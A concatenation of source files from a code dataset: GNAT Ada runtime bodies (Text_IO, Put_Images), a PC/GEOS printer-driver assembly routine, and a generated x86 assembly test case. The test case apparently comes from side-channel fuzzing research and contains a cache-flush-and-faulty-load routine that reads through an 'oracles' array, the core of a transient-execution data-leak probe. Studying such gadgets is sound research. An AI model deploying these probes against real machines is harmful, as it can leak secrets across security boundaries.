Stream_Element_Array; Last : out Stream_Element_Offset) is Discard_ch : int; pragma Warnings (Off, Discard_ch); begin -- Need to deal with Before_Upper_Half_Character ??? if File.Mode /= FCB.In_File then raise Mode_Error; end if; -- Deal with case where our logical and physical position do not match -- because of being after an LM or LM-PM sequence when in fact we are -- logically positioned before it. if File.Before_LM then -- If we are before a PM, then it is possible for a stream read -- to leave us after the LM and before the PM, which is a bit -- odd. The easiest way to deal with this is to unget the PM, -- so we are indeed positioned between the characters. This way -- further stream read operations will work correctly, and the -- effect on text processing is a little weird, but what can -- be expected if stream and text input are mixed this way? if File.Before_LM_PM then Discard_ch := ungetc (PM, File.Stream); File.Before_LM_PM := False; end if; File.Before_LM := False; Item (Item'First) := Stream_Element (Character'Pos (ASCII.LF)); if Item'Length = 1 then Last := Item'Last; else Last := Item'First + Stream_Element_Offset (fread (buffer => Item'Address, index => size_t (Item'First + 1), size => 1, count => Item'Length - 1, stream => File.Stream)); end if; return; end if; -- Now we do the read. Since this is a text file, it is normally in -- text mode, but stream data must be read in binary mode, so we -- temporarily set binary mode for the read, resetting it after. -- These calls have no effect in a system (like Unix) where there is -- no distinction between text and binary files. set_binary_mode (fileno (File.Stream)); Last := Item'First + Stream_Element_Offset (fread (Item'Address, 1, Item'Length, File.Stream)) - 1; if Last < Item'Last then if ferror (File.Stream) /= 0 then raise Device_Error; end if; end if; set_text_mode (fileno (File.Stream)); end Read; ----------- -- Reset -- ----------- procedure Reset (File : in out File_Type; Mode : File_Mode) is begin -- Don't allow change of mode for current file (RM A.10.2(5)) if (File = Current_In or else File = Current_Out or else File = Current_Error) and then To_FCB (Mode) /= File.Mode then raise Mode_Error; end if; Terminate_Line (File); FIO.Reset (AP (File)'Unrestricted_Access, To_FCB (Mode)); File.Page := 1; File.Line := 1; File.Col := 1; File.Line_Length := 0; File.Page_Length := 0; File.Before_LM := False; File.Before_LM_PM := False; end Reset; procedure Reset (File : in out File_Type) is begin Terminate_Line (File); FIO.Reset (AP (File)'Unrestricted_Access); File.Page := 1; File.Line := 1; File.Col := 1; File.Line_Length := 0; File.Page_Length := 0; File.Before_LM := False; File.Before_LM_PM := False; end Reset; ------------- -- Set_Col -- ------------- procedure Set_Col (File : File_Type; To : Positive_Count) is ch : int; begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not To'Valid then raise Constraint_Error; end if; FIO.Check_File_Open (AP (File)); -- Output case if Mode (File) >= Out_File then -- Error if we attempt to set Col to a value greater than the -- maximum permissible line length. if File.Line_Length /= 0 and then To > File.Line_Length then raise Layout_Error; end if; -- If we are behind current position, then go to start of new line if To < File.Col then New_Line (File); end if; -- Loop to output blanks till we are at the required column while File.Col < To loop Put (File, ' '); end loop; -- Input case else -- If we are logically before a LM, but physically after it, the -- file position still reflects the position before the LM, so eat -- it now and adjust the file position appropriately. if File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; File.Line := File.Line + 1; File.Col := 1; end if; -- Loop reading characters till we get one at the required Col value loop -- Read next character. The reason we have to read ahead is to -- skip formatting characters, the effect of Set_Col is to set -- us to a real character with the right Col value, and format -- characters don't count. ch := Getc (File); -- Error if we hit an end of file if ch = EOF then raise End_Error; -- If line mark, eat it and adjust file position elsif ch = LM then File.Line := File.Line + 1; File.Col := 1; -- If recognized page mark, eat it, and adjust file position elsif ch = PM and then File.Is_Regular_File then File.Page := File.Page + 1; File.Line := 1; File.Col := 1; -- Otherwise this is the character we are looking for, so put it -- back in the input stream (we have not adjusted the file -- position yet, so everything is set right after this ungetc). elsif To = File.Col then Ungetc (ch, File); return; -- Keep skipping characters if we are not there yet, updating the -- file position past the skipped character. else File.Col := File.Col + 1; end if; end loop; end if; end Set_Col; procedure Set_Col (To : Positive_Count) is begin Set_Col (Current_Out, To); end Set_Col; --------------- -- Set_Error -- --------------- procedure Set_Error (File : File_Type) is begin FIO.Check_Write_Status (AP (File)); Current_Err := File; end Set_Error; --------------- -- Set_Input -- --------------- procedure Set_Input (File : File_Type) is begin FIO.Check_Read_Status (AP (File)); Current_In := File; end Set_Input; -------------- -- Set_Line -- -------------- procedure Set_Line (File : File_Type; To : Positive_Count) is begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not To'Valid then raise Constraint_Error; end if; FIO.Check_File_Open (AP (File)); if To = File.Line then return; end if; if Mode (File) >= Out_File then if File.Page_Length /= 0 and then To > File.Page_Length then raise Layout_Error; end if; if To < File.Line then New_Page (File); end if; while File.Line < To loop New_Line (File); end loop; else while To /= File.Line loop Skip_Line (File); end loop; end if; end Set_Line; procedure Set_Line (To : Positive_Count) is begin Set_Line (Current_Out, To); end Set_Line; --------------------- -- Set_Line_Length -- --------------------- procedure Set_Line_Length (File : File_Type; To : Count) is begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not To'Valid then raise Constraint_Error; end if; FIO.Check_Write_Status (AP (File)); File.Line_Length := To; end Set_Line_Length; procedure Set_Line_Length (To : Count) is begin Set_Line_Length (Current_Out, To); end Set_Line_Length; ---------------- -- Set_Output -- ---------------- procedure Set_Output (File : File_Type) is begin FIO.Check_Write_Status (AP (File)); Current_Out := File; end Set_Output; --------------------- -- Set_Page_Length -- --------------------- procedure Set_Page_Length (File : File_Type; To : Count) is begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not To'Valid then raise Constraint_Error; end if; FIO.Check_Write_Status (AP (File)); File.Page_Length := To; end Set_Page_Length; procedure Set_Page_Length (To : Count) is begin Set_Page_Length (Current_Out, To); end Set_Page_Length; -------------- -- Set_WCEM -- -------------- procedure Set_WCEM (File : in out File_Type) is Start : Natural; Stop : Natural; begin File.WC_Method := WCEM_Brackets; FIO.Form_Parameter (File.Form.all, "wcem", Start, Stop); if Start = 0 then File.WC_Method := WCEM_Brackets; else if Stop = Start then for J in WC_Encoding_Letters'Range loop if File.Form (Start) = WC_Encoding_Letters (J) then File.WC_Method := J; return; end if; end loop; end if; Close (File); raise Use_Error with "invalid WCEM form parameter"; end if; end Set_WCEM; --------------- -- Skip_Line -- --------------- procedure Skip_Line (File : File_Type; Spacing : Positive_Count := 1) is ch : int; begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not Spacing'Valid then raise Constraint_Error; end if; FIO.Check_Read_Status (AP (File)); for L in 1 .. Spacing loop if File.Before_LM then File.Before_LM := False; -- Note that if File.Before_LM_PM is currently set, we also have -- to reset it (because it makes sense for Before_LM_PM to be set -- only when Before_LM is also set). This is done later on in this -- subprogram, as soon as Before_LM_PM has been taken into account -- for the purpose of page and line counts. else ch := Getc (File); -- If at end of file now, then immediately raise End_Error. Note -- that we can never be positioned between a line mark and a page -- mark, so if we are at the end of file, we cannot logically be -- before the implicit page mark that is at the end of the file. -- For the same reason, we do not need an explicit check for a -- page mark. If there is a FF in the middle of a line, the file -- is not in canonical format and we do not care about the page -- numbers for files other than ones in canonical format. if ch = EOF then raise End_Error; end if; -- If not at end of file, then loop till we get to an LM or EOF. -- The latter case happens only in non-canonical files where the -- last line is not terminated by LM, but we don't want to blow -- up for such files, so we assume an implicit LM in this case. loop exit when ch = LM or else ch = EOF; ch := Getc (File); end loop; end if; -- We have got past a line mark, now, for a regular file only, -- see if a page mark immediately follows this line mark and -- if so, skip past the page mark as well. We do not do this -- for non-regular files, since it would cause an undesirable -- wait for an additional character. File.Col := 1; File.Line := File.Line + 1; if File.Before_LM_PM then File.Page := File.Page + 1; File.Line := 1; File.Before_LM_PM := False; elsif File.Is_Regular_File then ch := Getc (File); -- Page mark can be explicit, or implied at the end of the file if (ch = PM or else ch = EOF) and then File.Is_Regular_File then File.Page := File.Page + 1; File.Line := 1; else Ungetc (ch, File); end if; end if; end loop; File.Before_Upper_Half_Character := False; end Skip_Line; procedure Skip_Line (Spacing : Positive_Count := 1) is begin Skip_Line (Current_In, Spacing); end Skip_Line; --------------- -- Skip_Page -- --------------- procedure Skip_Page (File : File_Type) is ch : int; begin FIO.Check_Read_Status (AP (File)); -- If at page mark already, just skip it if File.Before_LM_PM then File.Before_LM := False; File.Before_LM_PM := False; File.Page := File.Page + 1; File.Line := 1; File.Col := 1; return; end if; -- This is a bit tricky, if we are logically before an LM then -- it is not an error if we are at an end of file now, since we -- are not really at it. if File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; ch := Getc (File); -- Otherwise we do raise End_Error if we are at the end of file now else ch := Getc (File); if ch = EOF then raise End_Error; end if; end if; -- Now we can just rumble along to the next page mark, or to the -- end of file, if that comes first. The latter case happens when -- the page mark is implied at the end of file. loop exit when ch = EOF or else (ch = PM and then File.Is_Regular_File); ch := Getc (File); end loop; File.Page := File.Page + 1; File.Line := 1; File.Col := 1; File.Before_Upper_Half_Character := False; end Skip_Page; procedure Skip_Page is begin Skip_Page (Current_In); end Skip_Page; -------------------- -- Standard_Error -- -------------------- function Standard_Error return File_Type is begin return Standard_Err; end Standard_Error; function Standard_Error return File_Access is begin return Standard_Err'Access; end Standard_Error; -------------------- -- Standard_Input -- -------------------- function Standard_Input return File_Type is begin return Standard_In; end Standard_Input; function Standard_Input return File_Access is begin return Standard_In'Access; end Standard_Input; --------------------- -- Standard_Output -- --------------------- function Standard_Output return File_Type is begin return Standard_Out; end Standard_Output; function Standard_Output return File_Access is begin return Standard_Out'Access; end Standard_Output; -------------------- -- Terminate_Line -- -------------------- procedure Terminate_Line (File : File_Type) is begin FIO.Check_File_Open (AP (File)); -- For file other than In_File, test for needing to terminate last line if Mode (File) /= In_File then -- If not at start of line definition need new line if File.Col /= 1 then New_Line (File); -- For files other than standard error and standard output, we -- make sure that an empty file has a single line feed, so that -- it is properly formatted. We avoid this for the standard files -- because it is too much of a nuisance to have these odd line -- feeds when nothing has been written to the file. -- We also avoid this for files opened in append mode, in -- accordance with (RM A.8.2(10)) elsif (File /= Standard_Err and then File /= Standard_Out) and then (File.Line = 1 and then File.Page = 1) and then Mode (File) = Out_File then New_Line (File); end if; end if; end Terminate_Line; ------------ -- Ungetc -- ------------ procedure Ungetc (ch : int; File : File_Type) is begin if ch /= EOF then if ungetc (ch, File.Stream) = EOF then raise Device_Error; end if; end if; end Ungetc; ----------- -- Write -- ----------- -- This is the primitive Stream Write routine, used when a Text_IO file -- is treated directly as a stream using Text_IO.Streams.Stream. procedure Write (File : in out Text_AFCB; Item : Stream_Element_Array) is pragma Warnings (Off, File); -- Because in this implementation we don't need IN OUT, we only read function Has_Translated_Characters return Boolean; -- return True if Item array contains a character which will be -- translated under the text file mode. There is only one such -- character under DOS based systems which is character 10. text_translation_required : Boolean; for text_translation_required'Size use Character'Size; pragma Import (C, text_translation_required, "__gnat_text_translation_required"); Siz : constant size_t := Item'Length; ------------------------------- -- Has_Translated_Characters -- ------------------------------- function Has_Translated_Characters return Boolean is begin for K in Item'Range loop if Item (K) = 10 then return True; end if; end loop; return False; end Has_Translated_Characters; Needs_Binary_Write : constant Boolean := text_translation_required and then Has_Translated_Characters; -- Start of processing for Write begin if File.Mode = FCB.In_File then raise Mode_Error; end if; -- Now we do the write. Since this is a text file, it is normally in -- text mode, but stream data must be written in binary mode, so we -- temporarily set binary mode for the write, resetting it after. This -- is done only if needed (i.e. there is some characters in Item which -- needs to be written using the binary mode). -- These calls have no effect in a system (like Unix) where there is -- no distinction between text and binary files. -- Since the character translation is done at the time the buffer is -- written (this is true under Windows) we first flush current buffer -- with text mode if needed. if Needs_Binary_Write then if fflush (File.Stream) = -1 then raise Device_Error; end if; set_binary_mode (fileno (File.Stream)); end if; if fwrite (Item'Address, 1, Siz, File.Stream) /= Siz then raise Device_Error; end if; -- At this point we need to flush the buffer using the binary mode then -- we reset to text mode. if Needs_Binary_Write then if fflush (File.Stream) = -1 then raise Device_Error; end if; set_text_mode (fileno (File.Stream)); end if; end Write; begin -- Initialize Standard Files for J in WC_Encoding_Method loop if WC_Encoding = WC_Encoding_Letters (J) then Default_WCEM := J; end if; end loop; Initialize_Standard_Files; FIO.Chain_File (AP (Standard_In)); FIO.Chain_File (AP (Standard_Out)); FIO.Chain_File (AP (Standard_Err)); end Ada.Text_IO;
Driver/Printer/PrintCom/Cursor/cursorPrLineFeedExe.asm
steakknife/pcgeos
504
19904
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: print drivers FILE: cursorPrLineFeedExe.asm AUTHOR: <NAME>, 14 March 1990 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 3/14/90 Initial revision Dave 3/92 moved from epson9 to printcom DESCRIPTION: $Id: cursorPrLineFeedExe.asm,v 1.1 97/04/18 11:49:40 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrLineFeed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Executes a vertical line feed of dx <printer units>, and updates the cursor position accordingly. CALLED BY: Jump Table PASS: es = segment of PState dx = length , in <printer units>" to line feed. RETURN: carry - set if some transmission error DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 02/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrLineFeed proc near uses ax,cx,si .enter add es:PS_cursorPos.P_y,dx hiloop: mov cx,dx sub cx,PR_MAX_LINE_FEED ;see if there is room to do a max feed. jle writeoutlowdigit ;if not, send just the low digits. mov dx,cx ;save new length after max feed. mov si,offset pr_codes_DoMaxLineFeed call SendCodeOut ;send PR_MAX_FEED 1/216" feed jc exit jmp hiloop ;do [hi digit] times. writeoutlowdigit: mov si,offset pr_codes_DoLineFeed call SendCodeOut ;send following 1/216" feed jc exit mov cx,dx ;recover the remaining line length. ;guaranteed less than 256..... jcxz exit call PrintStreamWriteByte exit: .leave ret PrLineFeed endp
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-putima.adb
JCGobbi/Nucleo-STM32G474RE
0
24163
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- SYSTEM.PUT_IMAGES -- -- -- -- B o d y -- -- -- -- Copyright (C) 2020-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Strings.Text_Buffers.Utils; use Ada.Strings.Text_Buffers; use Ada.Strings.Text_Buffers.Utils; with Unchecked_Conversion; package body System.Put_Images is generic type Integer_Type is range <>; type Unsigned_Type is mod <>; Base : Unsigned_Type; package Generic_Integer_Images is pragma Assert (Integer_Type'Size = Unsigned_Type'Size); pragma Assert (Base in 2 .. 36); procedure Put_Image (S : in out Sink'Class; X : Integer_Type); procedure Put_Image (S : in out Sink'Class; X : Unsigned_Type); private subtype Digit is Unsigned_Type range 0 .. Base - 1; end Generic_Integer_Images; package body Generic_Integer_Images is A : constant := Character'Pos ('a'); Z : constant := Character'Pos ('0'); function Digit_To_Character (X : Digit) return Character is (Character'Val (if X < 10 then X + Z else X + A - 10)); procedure Put_Digits (S : in out Sink'Class; X : Unsigned_Type); -- Put just the digits of X, without any leading minus sign or space. procedure Put_Digits (S : in out Sink'Class; X : Unsigned_Type) is begin if X >= Base then Put_Digits (S, X / Base); -- recurse Put_7bit (S, Digit_To_Character (X mod Base)); else Put_7bit (S, Digit_To_Character (X)); end if; end Put_Digits; procedure Put_Image (S : in out Sink'Class; X : Integer_Type) is begin -- Put the space or the minus sign, then pass the absolute value to -- Put_Digits. if X >= 0 then Put_7bit (S, ' '); Put_Digits (S, Unsigned_Type (X)); else Put_7bit (S, '-'); Put_Digits (S, -Unsigned_Type'Mod (X)); -- Convert to Unsigned_Type before negating, to avoid overflow -- on Integer_Type'First. end if; end Put_Image; procedure Put_Image (S : in out Sink'Class; X : Unsigned_Type) is begin Put_7bit (S, ' '); Put_Digits (S, X); end Put_Image; end Generic_Integer_Images; package Integer_Images is new Generic_Integer_Images (Integer, Unsigned, Base => 10); package LL_Integer_Images is new Generic_Integer_Images (Long_Long_Integer, Long_Long_Unsigned, Base => 10); package LLL_Integer_Images is new Generic_Integer_Images (Long_Long_Long_Integer, Long_Long_Long_Unsigned, Base => 10); procedure Put_Image_Integer (S : in out Sink'Class; X : Integer) renames Integer_Images.Put_Image; procedure Put_Image_Long_Long_Integer (S : in out Sink'Class; X : Long_Long_Integer) renames LL_Integer_Images.Put_Image; procedure Put_Image_Long_Long_Long_Integer (S : in out Sink'Class; X : Long_Long_Long_Integer) renames LLL_Integer_Images.Put_Image; procedure Put_Image_Unsigned (S : in out Sink'Class; X : Unsigned) renames Integer_Images.Put_Image; procedure Put_Image_Long_Long_Unsigned (S : in out Sink'Class; X : Long_Long_Unsigned) renames LL_Integer_Images.Put_Image; procedure Put_Image_Long_Long_Long_Unsigned (S : in out Sink'Class; X : Long_Long_Long_Unsigned) renames LLL_Integer_Images.Put_Image; type Signed_Address is range -2**(Standard'Address_Size - 1) .. 2**(Standard'Address_Size - 1) - 1; type Unsigned_Address is mod 2**Standard'Address_Size; package Hex is new Generic_Integer_Images (Signed_Address, Unsigned_Address, Base => 16); generic type Designated (<>) is private; type Pointer is access all Designated; procedure Put_Image_Pointer (S : in out Sink'Class; X : Pointer; Type_Kind : String); procedure Put_Image_Pointer (S : in out Sink'Class; X : Pointer; Type_Kind : String) is function Cast is new Unchecked_Conversion (System.Address, Unsigned_Address); begin if X = null then Put_UTF_8 (S, "null"); else Put_UTF_8 (S, "("); Put_UTF_8 (S, Type_Kind); Hex.Put_Image (S, Cast (X.all'Address)); Put_UTF_8 (S, ")"); end if; end Put_Image_Pointer; procedure Thin_Instance is new Put_Image_Pointer (Byte, Thin_Pointer); procedure Put_Image_Thin_Pointer (S : in out Sink'Class; X : Thin_Pointer) is begin Thin_Instance (S, X, "access"); end Put_Image_Thin_Pointer; procedure Fat_Instance is new Put_Image_Pointer (Byte_String, Fat_Pointer); procedure Put_Image_Fat_Pointer (S : in out Sink'Class; X : Fat_Pointer) is begin Fat_Instance (S, X, "access"); end Put_Image_Fat_Pointer; procedure Put_Image_Access_Subp (S : in out Sink'Class; X : Thin_Pointer) is begin Thin_Instance (S, X, "access subprogram"); end Put_Image_Access_Subp; procedure Put_Image_Access_Prot_Subp (S : in out Sink'Class; X : Thin_Pointer) is begin Thin_Instance (S, X, "access protected subprogram"); end Put_Image_Access_Prot_Subp; procedure Put_Image_String (S : in out Sink'Class; X : String) is begin Put_UTF_8 (S, """"); for C of X loop if C = '"' then Put_UTF_8 (S, """"); end if; Put_Character (S, C); end loop; Put_UTF_8 (S, """"); end Put_Image_String; procedure Put_Image_Wide_String (S : in out Sink'Class; X : Wide_String) is begin Put_UTF_8 (S, """"); for C of X loop if C = '"' then Put_UTF_8 (S, """"); end if; Put_Wide_Character (S, C); end loop; Put_UTF_8 (S, """"); end Put_Image_Wide_String; procedure Put_Image_Wide_Wide_String (S : in out Sink'Class; X : Wide_Wide_String) is begin Put_UTF_8 (S, """"); for C of X loop if C = '"' then Put_UTF_8 (S, """"); end if; Put_Wide_Wide_Character (S, C); end loop; Put_UTF_8 (S, """"); end Put_Image_Wide_Wide_String; procedure Array_Before (S : in out Sink'Class) is begin New_Line (S); Put_7bit (S, '['); Increase_Indent (S, 1); end Array_Before; procedure Array_Between (S : in out Sink'Class) is begin Put_7bit (S, ','); New_Line (S); end Array_Between; procedure Array_After (S : in out Sink'Class) is begin Decrease_Indent (S, 1); Put_7bit (S, ']'); end Array_After; procedure Simple_Array_Between (S : in out Sink'Class) is begin Put_7bit (S, ','); if Column (S) > 60 then New_Line (S); else Put_7bit (S, ' '); end if; end Simple_Array_Between; procedure Record_Before (S : in out Sink'Class) is begin New_Line (S); Put_7bit (S, '('); Increase_Indent (S, 1); end Record_Before; procedure Record_Between (S : in out Sink'Class) is begin Put_7bit (S, ','); New_Line (S); end Record_Between; procedure Record_After (S : in out Sink'Class) is begin Decrease_Indent (S, 1); Put_7bit (S, ')'); end Record_After; procedure Put_Arrow (S : in out Sink'Class) is begin Put_UTF_8 (S, " => "); end Put_Arrow; procedure Put_Image_Unknown (S : in out Sink'Class; Type_Name : String) is begin Put_UTF_8 (S, "{"); Put (S, Type_Name); Put_UTF_8 (S, " object}"); end Put_Image_Unknown; end System.Put_Images;
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21625_1243.asm
ljhsiun2/medusa
9
87878
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x19959, %r10 clflush (%r10) nop nop nop xor $11020, %r9 mov (%r10), %r8 nop add $42034, %r11 lea addresses_WT_ht+0x107e1, %rsi lea addresses_UC_ht+0x5b79, %rdi nop nop nop nop xor $44238, %r11 mov $51, %rcx rep movsl and %rsi, %rsi lea addresses_UC_ht+0x5de1, %r10 clflush (%r10) add $15991, %rdi movw $0x6162, (%r10) nop nop and $15170, %r8 lea addresses_normal_ht+0x77e1, %r11 nop nop nop sub %r8, %r8 mov (%r11), %edi nop nop nop nop mfence lea addresses_D_ht+0xd4e1, %rsi nop xor %rcx, %rcx mov (%rsi), %di nop nop nop mfence lea addresses_normal_ht+0x14401, %rcx clflush (%rcx) nop nop nop nop cmp %rdi, %rdi mov (%rcx), %r9w nop nop nop and $12923, %r11 lea addresses_D_ht+0x4079, %rcx nop sub %r8, %r8 mov (%rcx), %di nop nop nop nop and $45879, %rdi lea addresses_WC_ht+0x41e1, %rsi nop nop nop cmp $4988, %r11 movups (%rsi), %xmm4 vpextrq $0, %xmm4, %r9 nop nop nop and %r9, %r9 lea addresses_WC_ht+0x135e1, %rsi lea addresses_WC_ht+0x5b65, %rdi nop nop nop nop nop and $65204, %r8 mov $68, %rcx rep movsq nop dec %r9 lea addresses_A_ht+0x14f87, %rsi nop nop inc %rdi mov (%rsi), %r10w nop and %r9, %r9 lea addresses_normal_ht+0x2de1, %r10 nop nop xor $13127, %rdi movups (%r10), %xmm5 vpextrq $0, %xmm5, %r9 nop nop nop nop nop add $50150, %r10 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rax push %rbp push %rbx push %rdi // Store lea addresses_US+0x1b1e1, %rdi nop nop nop nop cmp %rbx, %rbx movw $0x5152, (%rdi) nop nop nop nop nop sub $26637, %r13 // Faulty Load lea addresses_UC+0xe5e1, %rax clflush (%rax) nop nop nop nop inc %r8 movups (%rax), %xmm7 vpextrq $0, %xmm7, %r13 lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rdi pop %rbx pop %rbp pop %rax pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'00': 21625} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 